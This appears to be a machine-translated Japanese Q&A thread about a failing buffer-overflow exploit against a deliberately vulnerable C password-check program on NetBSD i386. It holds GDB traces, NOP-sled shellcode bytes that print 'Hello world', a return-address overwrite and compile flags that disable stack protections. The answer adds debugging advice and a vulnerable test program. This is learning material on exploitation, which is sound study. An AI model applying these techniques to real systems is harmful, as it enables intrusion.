5

テスト プログラムでバッファ オーバーフローを悪用して、任意のコードを実行しようとしています。私は NetBSD 6 i386 を使用しています。Cコードは次のとおりです。

int checkPassword(char *password)
{
  char                  savePassword[64] = {0};
  char                  *logMessage;
  int                   isUser = 0;
  int                   isAdmin = 0;
  int                   i;

  if (!strcmp(password, userPassword))
    isUser = 1;
  strcpy(savePassword, password);  
  for (i = 0; password[i]; ++i)
    password[i] ^= xorKey;
  if (!strcmp(password, adminPassword))
    isAdmin = 1;
  if (!(isAdmin | isUser)) {
    /* ... */
  }
  return isAdmin ? ADMIN : isUser ? USER : NOBODY; /* main.c:79 */
}

savePasswordコードをバッファ ( )に挿入します%ebp - 0x58。GDB を使用したデバッグは次のとおりです。

# gdb -q ./pepito
Reading symbols from /root/Pepito/source/pepito...done.
(gdb) b main.c:79
Breakpoint 1 at 0x80490f4: file main.c, line 79.
(gdb) r debug
Starting program: /root/Pepito/source/pepito debug
Daemon started

Breakpoint 1, checkPassword (password=0xbb901000 '�' <repeats 57 times>, "\345Q?Y?\005?T?T�\r\345Td3\a?T�\035\060\071\071:u\":'91_-\352\352") at main.c:79
79        return isAdmin ? ADMIN : isUser ? USER : NOBODY;

関数のリターンで中断し、任意のコード (長さ 96 バイト) がスタックに正しく書き込まれたことを確認します。

(gdb) x/96xb $ebp-0x58
0xbfbfd560:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd568:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd570:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd578:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd580:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd588:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd590:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfbfd598:     0x90    0xb0    0x04    0x6a    0x0c    0x6a    0x50    0x6a
0xbfbfd5a0:     0x01    0x6a    0x01    0xcd    0x60    0x00    0x00    0x00
0xbfbfd5a8:     0x31    0xd2    0x66    0x52    0x6a    0x01    0xcd    0x80
0xbfbfd5b0:     0x48    0x65    0x6c    0x6c    0x6f    0x20    0x77    0x6f
0xbfbfd5b8:     0x72    0x6c    0x64    0x0a    0x78    0xd5    0xbf    0xbf

ret次に、組み立て手順まで続けます。

(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) x/i $eip 
=> 0x8049119 <checkPassword+393>:       ret

次に、スタックの一番上にある戻りアドレスを確認します (で%esp):

(gdb) x/xw $esp
0xbfbfd5bc:     0xbfbfd578

このアドレスがポップされret、ジャンプします。そのアドレスにある指示を見てみましょう。

(gdb) x/50i 0xbfbfd578
   0xbfbfd578:  nop
   0xbfbfd579:  nop
   0xbfbfd57a:  nop
   [...]
   0xbfbfd597:  nop
   0xbfbfd598:  nop
   0xbfbfd599:  mov    al,0x4
   0xbfbfd59b:  push   0xc
   0xbfbfd59d:  push   0x50
   0xbfbfd59f:  push   0x1
   0xbfbfd5a1:  push   0x1
   0xbfbfd5a3:  int    0x60

私たちの任意のコード!

しかし、それを実行するretと segfaults:

(gdb) nexti 

Program received signal SIGSEGV, Segmentation fault.
0x08049119 in checkPassword (password=0xbb901000 '�' <repeats 57 times>, "\345Q?Y?\005?T?T�\r\345Td3\a?T�\035\060\071\071:u\":'91_-\352\352") at main.c:80
80      }
(gdb) x/i $eip
=> 0x8049119 <checkPassword+393>:       ret

オペレーティング システムが、スタック メモリにジャンプすることを禁止していたようです。しかし、非実行スタック保護を無効にしました:

gcc -m32 -g -fno-stack-protector -D_FORTIFY_SOURCE=0  -c main.c
gcc main.o daemon.o network.o utils.o -o pepito -m32 -L./lib_netbsd -lsecret -Wl,-rpath,./lib_netbsd -Wl,-z,execstack

readelfスタックが実行可能であることを確認します。

# readelf -l pepito

Elf file type is EXEC (Executable file)
Entry point 0x8048d60
There are 7 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  [...]
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
4

1 に答える 1

-1

私のボックスでは、 strcpy呼び出しを介してsavePasswordをオーバーフローさせた後。私は次の指示を得ました:

0x80484ba : movl $0x0,-0x14(%ebp)

ローカル変数iを 0 で初期化することに対応します。

for (i = 0; password[i]; ++i)

これにより、挿入されたコードの NOP スレッドが破損し、実行中にセグメンテーション違反が引き起こされました。あなたの側を見てください。同じである場合 (ほぼ確実です)、シェルコードをペイロードの先頭に移動し、NOP スレッドを取り除くことができます。

Fermat2357 が言ったように、ret 命令の前に関数ダンプとペイロード全体を投稿することを検討してください。

GCC:

gcc バージョン 4.8.0 20130502 (プレリリース) (GCC)

以下でコンパイル:

gcc -m32 -ggdb -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 vuln.c -o vuln

スニペット

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define ADMIN  2
#define USER   1
#define NOBODY 0

char* userPassword = "S3cuRe";
char* adminPassword = "4dm1n";
int xorKey = 0;

int checkPassword(char *password)
{
        char savePassword[64] = {0};
        char *logMessage;
        int  isUser = 0;
        int  isAdmin = 0;
        int  i;

        if (!strcmp(password, userPassword))
                isUser = 1;
        strcpy(savePassword, password);
        for (i = 0; password[i]; ++i)
                password[i] ^= xorKey;
        if (!strcmp(password, adminPassword))
                isAdmin = 1;
        if (!(isAdmin | isUser)) {
        }

        return isAdmin ? ADMIN : isUser ? USER : NOBODY;
}

void main(int argc, char *argv[])
{
        int user = NOBODY;
        user = checkPassword(argv[1]);
        printf("Hello %d\n", user);
}
于 2013-05-21T10:48:21.160 に答える